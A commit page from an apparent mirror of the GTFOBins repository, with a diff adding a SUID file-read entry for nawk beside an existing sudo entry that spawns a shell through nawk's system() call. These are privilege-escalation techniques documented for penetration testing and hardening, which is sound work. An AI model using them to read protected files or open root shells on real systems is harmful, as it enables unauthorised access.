1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 00:06:03 +02:00

Add SUID category to nawk as file read

This commit is contained in:
Nick Blekherman 2021-01-18 09:49:07 +02:00 committed by GitHub
parent c293ed20f7
commit d6d3563e5d
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -27,6 +27,10 @@ functions:
- code: |
LFILE=file_to_read
nawk '//' "$LFILE"
suid:
- code: |
LFILE=file_to_read
./nawk '//' "$LFILE"
sudo:
- code: sudo nawk 'BEGIN {system("/bin/sh")}'
limited-suid: